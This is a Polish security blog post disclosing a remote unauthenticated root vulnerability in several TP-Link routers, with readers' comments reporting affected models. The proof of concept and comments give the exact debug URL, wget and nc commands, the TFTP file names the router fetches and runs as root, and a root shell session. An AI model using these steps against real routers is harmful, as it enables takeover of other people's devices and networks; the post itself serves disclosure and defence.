Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Nowa dziura na urządzeniach TP-Link
O urządzeniu
TP-Link TL-WDR4300 to router klasy SOHO. Umożliwia m.in. dwuzakresową pracę w trybie WiFi, posiada 2 porty USB i jeszcze kilka innych przydatnych funkcjonalności. Poza tym… umożliwia zdalne i nieuwierzytelnione uzyskanie uprawnień administracyjnych (root) w systemie operacyjnym, na którym działa urządzenie.
1. Testowany firmware
W trakcie testów na urządzeniu TL-WDR4300 używałem najnowszego firmware’u z 25.12.2012r. Na tym firmware nie działa odkryty w 2012r. backdoor w TP-Linkach, opisany tutaj.
Jak się też okazuje, na opisywany dalej błąd podatne są również inne modele. Zachęcamy do sprawdzenia i zgłaszania do nas swoich podatnych TP-Linków – zgodnie z instrukcją poniżej.
2. Proof of Concept
root@secu:~# ls -l /srv/tftp/nart.out -rw-r--r-- 1 root root 871604 Mar 11 18:23 /srv/tftp/nart.out root@secu:~# nc 192.168.0.1 2222 (UNKNOWN) [192.168.0.1] 2222 (?) : Connection refused root@secu:~# wget http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html --2013-03-09 23:22:31-- http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html Connecting to 192.168.0.1:80... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/html] Saving to: "start_art.html" [ <=> ] 426 --.-K/s in 0s 2013-03-09 23:22:33 (49.1 MB/s) - "start_art.html" saved [426] root@secu:~# nc 192.168.0.1 2222 ps PID Uid VmSize Stat Command 1 root 404 S init 2 root SW< [kthreadd] 3 root SW< [ksoftirqd/0] 4 root SW< [events/0] 5 root SW< [khelper] 6 root SW< [async/mgr] 7 root SW< [kblockd/0] 8 root SW [pdflush] 9 root SW [pdflush] 10 root SW< [kswapd0] 17 root SW< [mtdblockd] 18 root SW< [unlzma/0] 71 root 2768 S /usr/bin/httpd 76 root 380 S /sbin/getty ttyS0 115200 78 root 208 S ipcserver 82 root 2768 S /usr/bin/httpd 83 root 2768 S /usr/bin/httpd 86 root 732 S ushare -d -x -f /tmp/ushare.conf 92 root 348 S syslogd -C -l 7 96 root 292 S klogd 101 root SW< [napt_ct_scan] 246 root 348 S /sbin/udhcpc -h TL-WDR4300 -i eth0.2 -p /tmp/wr841n/u 247 root 204 S /sbin/udhcpc -h TL-WDR4300 -i eth0.2 -p /tmp/wr841n/u 251 root 364 S /usr/sbin/udhcpd /tmp/wr841n/udhcpd.conf 286 root 2768 S /usr/bin/httpd 299 root 2768 S /usr/bin/httpd 300 root 2768 S /usr/bin/httpd 305 root 2768 S /usr/bin/httpd 307 root 2768 S /usr/bin/httpd 309 root 2768 S /usr/bin/httpd 310 root 2768 S /usr/bin/httpd 389 root 2768 S /usr/bin/httpd
3. Czy jestem podatny?
Aby sprawdzić czy nasze urządzenie jest podatne, należy w przeglądarce użyć URL-a (nie wymagane jest podawanie użytkownika/hasła):
W tym momencie urządzenie na chwilę przestanie odpowiadać, a następnie pojawi się komunikat w przeglądarce:
Jeśli widzimy komunikat tego typu (może to być również inne sformułowanie zawierające słowo „art”, np.: „Art download failed” – patrz niżej), to takie urządzenie jest najprawdopodobniej podatne na atak.
W międzyczasie router spróbuje pobrać z naszego komputera (poprzez tftp) plik nart.out, a następnie uruchomi go z uprawnieniami root.
Pobieranie możemy prześledzić np. z wykorzystaniem narzędzia wireshark uruchomionego na komputerze. W tym celu wybieramy opcję Capture -> Interfaces, a następnie interface sieciowy, którym jesteśmy podłączeniu do routera. Po uruchomieniu nasłuchu możemy jeszcze przefiltrować ruch, korzystając z filtra: tftp and !icmp:
Samą próbę pobrania pliku widać na poniższym zrzucie ekranowym:
Poniżej, cała procedura krok po kroku (krok pierwszy realizujemy z przeglądarki, pozostałe kroki przebiegają automatycznie):
Inne modele
Również inne modele routerów są podatne. Poniżej prezentuję dwa kolejne urządzenia, które udało mi się przetestować. Czytelników zachęcamy do testów (oczywiście swoich routerów) i przesyłania do nas kolejnych wyników.
1. TL-WR743ND v1.2
Na przykładzie poniżej widać, że tym razem nazwa pliku to nie nart.out, a mdk_client.out – jednak zasada działania jest podobna (poniżej jako PoC wykonanie polecenia ping na routerze).
2. TL-WR743ND v2
3. TL-WR740N (info by: rf)
4. WR740N v4 (info by Morris)
Jak się obronić?
Niestety na dziś (12.03.2013r.) nie ma dostępnych aktualizacji firmware, zalecamy przede wszystkim nieudostępnianie interface’u webowego routerów do Internetu.
Dobrym pomysłem jest zainstalowanie na urządzeniu nieoficjalnego firmware-u (np. Open-WRT – model TL-WDR4300 jest wspierany), choć wymaga to większej wiedzy oraz przy braku odpowiedniej ostrożności przy wgrywaniu firmware-u istnieje możliwość trwałego uszkodzenia sprzętu.
Historia zgłoszenia błędu
12.02.2013 – przesłana informacja do TP-Link … brak odpowiedzi
22.02.2013 – kolejne przesłanie informacji do TP-Link … brak odpowiedzi
12.03.2013 – publikacja szczegółów na sekurak.pl
Więcej informacji
http://sekurak.pl/luka-w-tp-linkach-wiecej-szczegolow/
Podziękowania
- dostarczenie sprzętu do testów – WDR4300 – Mateusz Olejarka :]
- rf – zgłoszenie TL-WR740N jako podatnego
- Morris – zgłoszenie WR740N v4 jako podatnego
— Michał Sajdak <michal.sajdak<at>securitum.pl>
Jeden PoC jest więcej wart niż tysiąc tutoriali :)
:) Posiadaczy TP-Linków prosimy też o pomoc w skompletowaniu listy podatnych modeli -> podsyłanie wyników ze swoich urządzeń.
–ms
TL-WR740N zachowuje się tak samo jak TL-WR743ND v1.2 – ściąga przez TFTP najpierw art_modules/art_ap9x.ko, a potem mdk_client.out.
Dzięki – zrobiłem update + wrzuciłem do greetzów :)
A miałbyś chwilę żeby sprawdzić trick ze skryptem shellowym + pingiem? – jest to pokazane na screenach w „innych modelach” – tylko wymaga postawienia swojego serwera tftp.
—
ms
Zapraszam po więcej info:
http://sekurak.pl/more-information-about-tp-link-backdoor/
–2013-03-12 14:46:34– http://192.168.0.5/userRpmNatDebugRpm26525557/start_art.html
Connecting to 192.168.0.5:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: unspecified [text/html]
Saving to: `start_art.html’
0K 19.7M=0s
2013-03-12 14:47:26 (19.7 MB/s) – `start_art.html’ saved [426]
Firmware Version:
3.12.11 Build 110915 Rel.40896n
Hardware Version:
WR740N v4 00000000
Ja tylko dodam, że też zgłaszałem pewien problem z routerem swoim do TP-Link i jedyne co przyszło to mail zwrotny z automatu informujący, że zgłoszenie zostało przyjęte. No i do dziś brak odpowiedzi. Standardzik.
WR340G v3 0815311C
4.7.11 Build 101102 Rel.60376n
Nie działa.
WR1043ND nie pojawil sie zaden komunikat, ale router przestal odpowiadac i musialem dac reset.
TD-W8970 v1 00000000
Firmware Version: 0.6.0 1.2 v000c.0 Build 130201 Rel.54921n
Nie działa
Firmware Version:
3.12.5 Build 100929 Rel.57776n
Hardware Version:
WR841N v6/v7 00000000
Po wpisaniu linka router zwiesza sie
TL-WR1043ND w wersji
3.13.12 Build 120405 Rel.33996n również jest podatny. Wykonałem test z TFTP, pobierany i wykonywany jest mdk_client.out.
TP-Link WR941N
Firmware Version: 3.13.9 Build 120201 Rel.54965n
Art successfully started
Czy to działa również z portu wanowego czy tylko lokalnego?
Działa również z portu WAN.
Router TL-WR841N v6/v7 00000000 firmware 3.13.9 Build 120201 Rel.54965n po wklejeniu linku do przeglądarki po chwili wyskakuje komunikat:
Ups! Przeglądarka Google Chrome nie mogła się połączyć ze stroną 192.168.0.5
Access Point TP-LINK TL-WA901ND, najnowsze oficjalne firmware w wersji: 3.12.16 Build 120224 Rel.61005n
Podatny:
Art successfully started
Za takie funkcjonalności (bo to nie jest błąd w programie) ktoś powinien stracić głowę. Na szczęście OpenWRT jest u mnie o niebo bardziej stabilne niż oryginalny firmware.
Hej, wygląda na to, że router TP-LINK WR340G nie jest podatny. A może się mylę? Po wpisaniu wspomnianego polecenia dostaję ten komunikat
Server Error: 401 N/A
Operating System Error Nr:3997698: HTM
Access denied
/userRpm/index.htm
Jest to właściwa reakcja routera, czy oznacza podatność? Dzięki.
Raczej ten model nie jest podatny na tego buga.
Router WR741N v1/v2 00000000 wyświetlił komunikat „Art successfully started”.
740N nie jest „do końca”podatny. Nie wyświetla się nic na temat Art, jedynie zawiesza się urządzenie (hardreset konieczny kabelkiem). Oprogramowanie 3.12.11 Build 110915 Rel.40896n
Hard WR740N v4 00000000
Piszecie backdoor – czy to oznacza, że ten bug to feature, który ma umożliwiać „wtajemniczonym” szpiegowanie użytkowników?
Nie wiadomo – może to zapomniana funkcja debug. Może też być zapomniana „przez przypadek”.
Potwierdzam u mnie też działa
TL-WR1043ND
3.13.4 Build 110429
art_modules/art_ap8x.ko
Może mi ktoś wytłumaczyć w jaki sposób pobranie pliku pozwala na uzyskanie roota na komputerze?
1) Czy z logów Wiresharka mam rozumieć, że źródłem pliku jest ruter a celem komputer i plik nart.out tak naprawdę jest wysyłany na komputer i tam uruchamiany z uprawnieniem roota? I czego dowodzi ten PoC?
2) Czy w takim razie scenariusz ataku jest taki, że gościu ze świata wysyła żądanie do rutera, ruter wysyła do mnie plik i plik uruchamiany jest jako root?
3) Ponadto, czy nieudostępnianie interfejsu rutera na zewnątrz w jakikolwiek sposób blokuje ten 'feature’? Przecież nie mamy wpływu na działanie usługi TFTP na ruterze.
W zasadzie wszystko jest na diagramie w poście.
1) Źródłem jest komputer który się dobija do routera – np. atakujący który hostuje u siebie nart.out, plik wykonuje router. Plik jest odpalany na routerze z uprawnieniami root.
2) Prawie tak – plik jest wysyłany od atakującego do routera (router pobiera go przez tftp)
3) Nieudostępnianie http admina na zewnątrz blokuje ten ficzer. Nie jest on blokowany w LAN.
Potwierdzam, u mnie także działa
TL-WR740N, dodatkowo test wyłączył mi wifi…
Tak – jeśli ktoś chce testować – to najlepiej na połączeniu kablem. W razie problemów z WiFi polecam reset (wyłączenie / włączenie zasilania routera).
TD-W8960N 1.4.0 Build 111108 Rel.40398n
nie podatny na atak
Dzięki za wyjaśnienie. Nie wiedzieć czemu zrozumiałem, że roota uzyskuje się na komputerze połączonym do sieci, a nie na ruterze. Przez to się zamotałem. Teraz wszystko jest już jasne;)
aż takiego hardkoru to nie ma ;)
Cześć sekurak. Dzięki za odpowiedź, ale zastanawia mnie Twoje stwierdzenie: „Raczej ten model nie jest podatny na tego buga.” Właściwie chodzi mi o „Raczej…”. ;-)
kri: Jednak te modele „z zawieszaniem się WiFi” do restartu są najprawdopodobniej podatne. Proponuję zrobić taki sam test – tylko na kablu.
TL-WDR3600 – powinien być podatny – ma praktycznie taki sam soft jak WDR4300.
@sekurak: oczywiście ten test wykonany został, tylko „na kablu”. Od jakiegoś czasu, nie korzystam z WiFi, więc wszystkie opcje (oczywiście, odnoszące się do WiFi) są kompletnie wyłączone. Mam nadzieję, że nie ma, to wpływu na wynik testu. Pozdrawiam.
WAP TL-WA701N v1
FW: 3.12.16 Build 120228 Rel.37317n
próbuje pobrac najpierw art_modules/art_ap9x.ko, potem mdk_client.out
Router TL-WR1043ND, firmware version: 3.12.2 Build 100820 Rel.41891n, hardware version: WR1043N v1 00000000
Odpowiedz – Art successfully started + zawieszenie routera (chyba problem z DNS) :(
Pobierania pliku nie sprawdzalem.
Spróbuj po kablu.
Firmware Version:
3.13.4 Build 110429 Rel.36959n
Hardware Version:
WR1043ND v1 00000000
Podatne urzadzenie
mr3420 v2
3.13.27 Build 120905 Rel.73281n
– zawiesza się.
Proponuję przetestować jeszcze na kablu.
Dostałem odpowiedź od Wsparcia technicznego TP-Link
„Witam
Nie byliśmy świadomi tej podatności, zostanie ona usunięta w nowszej wersji oprogramowania.
„
300M Wireless N Router
Model No. TL-WR941N / TL-WR941ND
Firmware Version:
3.12.4 Build 100910 Rel.57694n
Hardware Version:
WR740N v1/v2 00000000
działa na obydwu
Test na kablu dla:
Firmware Version: 3.13.12 Build 120405 Rel.33996n
Hardware Version: WR1043ND v1 00000000
Wifi sie wywala, plik pobiera, ale po udanym wgecie nc nie bangla na porcie 2222
login as: cezet
cezet@192.168.1.103’s password:
Last login: Tue Mar 19 21:07:37 2013 from 192.168.1.100
[cezet@localhost ~]$ ifconfig
lo: flags=73 mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 0 (Local Loopback)
RX packets 45 bytes 3828 (3.7 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 45 bytes 3828 (3.7 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
p2p1: flags=4163 mtu 1500
inet 192.168.1.103 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::219:bbff:fed4:7210 prefixlen 64 scopeid 0x20
ether 00:19:bb:d4:72:10 txqueuelen 1000 (Ethernet)
RX packets 4078 bytes 418025 (408.2 KiB)
RX errors 0 dropped 1 overruns 0 frame 0
TX packets 1218 bytes 147001 (143.5 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
wlan0: flags=4163 mtu 1500
inet 192.168.1.101 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::92f6:52ff:fee1:7da prefixlen 64 scopeid 0x20
ether 90:f6:52:e1:07:da txqueuelen 1000 (Ethernet)
RX packets 2314 bytes 344322 (336.2 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 55 bytes 7362 (7.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
[cezet@localhost ~]$ nc 192.168.1.1 2222
Ncat: Connection refused.
[cezet@localhost ~]$ wget http://192.168.1.1/userRpmNatDebugRpm26525557/start_art.html
–2013-03-19 21:49:23– http://192.168.1.1/userRpmNatDebugRpm26525557/start_art.html
Connecting to 192.168.1.1:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: unspecified [text/html]
Saving to: âstart_art.htmlâ
[ ] 426 –.-K/s in 0s
2013-03-19 21:50:16 (7.74 MB/s) – âstart_art.htmlâ saved [426]
[cezet@localhost ~]$ nc 192.168.1.1 2222
Ncat: Connection refused.
[cezet@localhost ~]$ ifconfig
lo: flags=73 mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 0 (Local Loopback)
RX packets 45 bytes 3828 (3.7 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 45 bytes 3828 (3.7 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
p2p1: flags=4163 mtu 1500
inet 192.168.1.103 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::219:bbff:fed4:7210 prefixlen 64 scopeid 0x20
ether 00:19:bb:d4:72:10 txqueuelen 1000 (Ethernet)
RX packets 4581 bytes 469983 (458.9 KiB)
RX errors 0 dropped 1 overruns 0 frame 0
TX packets 1367 bytes 164060 (160.2 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
wlan0: flags=4099 mtu 1500
inet6 fe80::92f6:52ff:fee1:7da prefixlen 64 scopeid 0x20
ether 90:f6:52:e1:07:da txqueuelen 1000 (Ethernet)
RX packets 2602 bytes 384832 (375.8 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 55 bytes 7362 (7.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
[cezet@localhost ~]$
@cezet: OK, ale żeby ten port 2222 był odpalony to trzeba mieć odpowiednio przygotowanego nart.out (i hostowanego lokalnie via tftp) – tj binarkę skompilowaną na MIPS.
Można za to popróbować testy ze skryptem shellowym w tym nart.out (jak na screenie wyżej – tylko w innym modelu).
Zapraszam na Sekurak Hacking Party – będzie tam można poznać wszystkie niuanse ;)
oczywsice tftp tez przechodzi:
638 108.617329000 192.168.1.1 192.168.1.106 TFTP 65 Read Request, File: mdk_client.out, Transfer type: octet
Firmware Version:
3.13.10 Build 120210 Rel.62735n
Hardware Version:
WR1043ND v1 00000000
Podatny
Oficjalne stanowisko TP-LINK, dotyczące tej luki, jest już opublikowane na stronie:
http://www.tp-link.com.pl/article/?faqid=505
Firmware Version:
3.13.27 Build 120802 Rel.51024n
Hardware Version:
WR841N v8 00000000
Podatny
http://i.imgur.com/YksOEDF.png
Firmware Version:
3.13.31 Build 130319 Rel.57876n
Hardware Version:
WDR4300 v1 00000000
No i chyba poprawili po update’cie pojawia się informacja o błednym loginie lub haśle.
ja mam router WR-941ND i taki napis mi wyskoczył, nie od razu, raczej strona długo sie ładowała, ale w końcu pojawił sie… dostałem odp, że ustosunkowali sie do zgłoszenia i wydali łatkę, ale nie na wszystkie routery jak widać. Bo na ten mój nie ma…
sprawdzilem livebox tp nie podatny
ART tool is an old wireless testing script from Atheros (chipset manufacturer), all the router vendors with Atheros must use it to calibrate the wireless chip in the factory, it is not a man-made “backdoor” and will not be controlled by TP-LINK or anyone remotely.
Some competitors of TP-LINK took the chance to made some shocking rumors to the media, and most common users were misled by these rumors.
TP-LINK has released some new firmwares on their official website, I believe they already abandoned the ART testing script and fixed all the vulnerabilities.
http://www.tp-link.com/en/support/download/?model=TL-WDR4300&version=V1
I w końcu TL-WR743ND V2 załatany w firmware TL-WR743ND_V2_130411_ BETA ( 3.16.5 Build 130411 Rel.41359n)
jak uruchomić konsole co jest na fotach w win7( czy jest to jakiś cmd po wpisaniu paru poleceń albo jakaś konsola linuxa lub backtracka?)?
To jest jest autorski research, nie ma raczej do tego gotowca ;)
Na fotach jest wireshark.
Router: WDR4300 v1
Firmvare: 3.13.33 Build 130617 Rel.46239n
http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html
Username or Password is incorrect.
Please refer to the troubleshooting below:
.. itd …
Domyslam sie, ze u mnie jest ta dziura? :-)
Raczej nie. Choć warto zrobić test z wiresharkiem.
W TP Link TL-WDR4300 V1 po wgraniu FW TL-WDR4300_V1_130617 z 17.06.2013 jest komunikat
”
Username or Password is incorrect.
Please refer to the troubleshooting below:
Is the „Caps Lock” enabled on your keyboard?
The username and password must be lowercase, please ensure that the „Caps Lock” LED is disabled on your keyboard and try again.
Forgot your username or password?
Please reset the device to the factory default settings if you have forgotten your username or password. The default username and password are both set as „admin”.
Note: The settings will be restored to factory default after the resetting.
How to restore the device to the factory default settings?
Firstly locate the reset button on the rear panel of the unit, whilst the device is powered on press and hold the reset button for more than 5 seconds, the device will then reboot and restore itself to the factory default settings.
”
Domniemam że w tej wersji FW „dziura” została załatana.